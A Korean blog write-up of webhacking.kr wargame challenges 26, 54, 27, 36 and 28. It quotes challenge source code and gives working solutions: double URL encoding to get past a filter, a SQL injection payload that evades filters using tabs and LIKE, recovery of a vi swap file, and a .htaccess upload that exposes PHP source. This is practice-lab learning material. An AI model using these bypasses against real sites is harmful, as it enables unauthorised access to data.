26번
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
a { color:lightgreen; }
</style>
</head>
<body>
<?php
if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "admin"){
solve(26);
}
?>
<br><br>
<a href=?view_source=1>view-source</a>
</body>
</html>
urldecode에는 hex 문자열을 넣어도 인식하기 때문에 %61%64%6d%69%6e를 넣어주었다. 그런데 안되었다.
아마도 그 이유는 우리가 %23을 넣어주면 #이 넘어가는 것과 비슷하다고 생각해서 이를 한번더 hex로 바꿔주었다.
%2561%2564%256D%2569%256E
54번
패스워드가 빠르게 지나간다. 자바스크립트 only라서 console에서 코드를 수정하면 된다.
function answer(i){
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML+=x.responseText;
}
for(var k=0;k<50;k++)
{
answer(k);
}
좀 겹치게 나왔는데, FLAG{}로 구분이 가능하니 상관이 없다.
27번
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
admin's no는 2라고 친절하게 알려준다. =과 # 그리고 공백을 우회하는것이 주된 목적이다.
공벡 -> %09(tab)으로 우회 # 은 --%09로 우회 =은 like로 우회하여 해결했다.
0)or%09no%09like%092--%09
36번
페이지에 들어가면 다음 문구가 뜬다.
While editing index.php file using vi editor in the current directory, a power outage caused the source code to disappear.
Please help me recover.
대강 해석하면 현재 디렉토리에서 vi에디터로 index.php를 수정하는도중, 정전이 되서 코드가 날라갔으니 복구좀 도와달라는 뜻이다.
일단 vi에디터를 명시한 이유가 있을 것 같아서 vi에디터 임시파일로 검색해보았다. vi에디터가 정상종료되지 않으면
.swp가 붙은 파일이 제거가 되지 않는다고 한다. 따라서 .index.php.swp 파일이 남아있을지도 모른다.
index.php.swp
b0VIM 8.0 섷 root webhacking.kr /var/www/html/challenge/bonus-8/index.php
U3210 #"! U tp ad ? ? ? ? ? ??> $flag = "FLAG{what_about_the_nano_editor?}"; <?php
해당 경로로 들어가면 파일이 다운로드되고 파일안에는 FLAG가 존재한다.
28번
파일 업로드 취약점 문제이다. 확장자를 통한 필터링은 되어있지 않은데, < 문자가 필터링되어서 php코드를 실행하는 것이 힘들다. 찾아보니 php는 > 이 없어도 정상 작동 된다고 한다.
php 코드를 실행시키는 것은 힘들 것 같았고, 생각해보니 flag.php 는 실행되는 것이지 보이지 않는다.
따라서 .htaccess를 건드려주는 것을 찾아보았고
php_flag engine off
AddType text/plain .php
를 넣어주면 php 소스가 보인다는 것을 알았다. 이를 업로드 해주었고 flag.php에 접속하면 ..
점수에 비해서 매우 쉬운것 같다.
'전공쪽 > 동아리 관련' 카테고리의 다른 글
DiceCTF Babier CSP, MissingFlavortext (0) | 2021.02.09 |
---|---|
webhacking.kr 1,3,4,31,38 (0) | 2021.02.08 |
webhacking.kr (0) | 2021.01.27 |
sfctf winter write up (0) | 2021.01.26 |
sfw8 write up (0) | 2021.01.11 |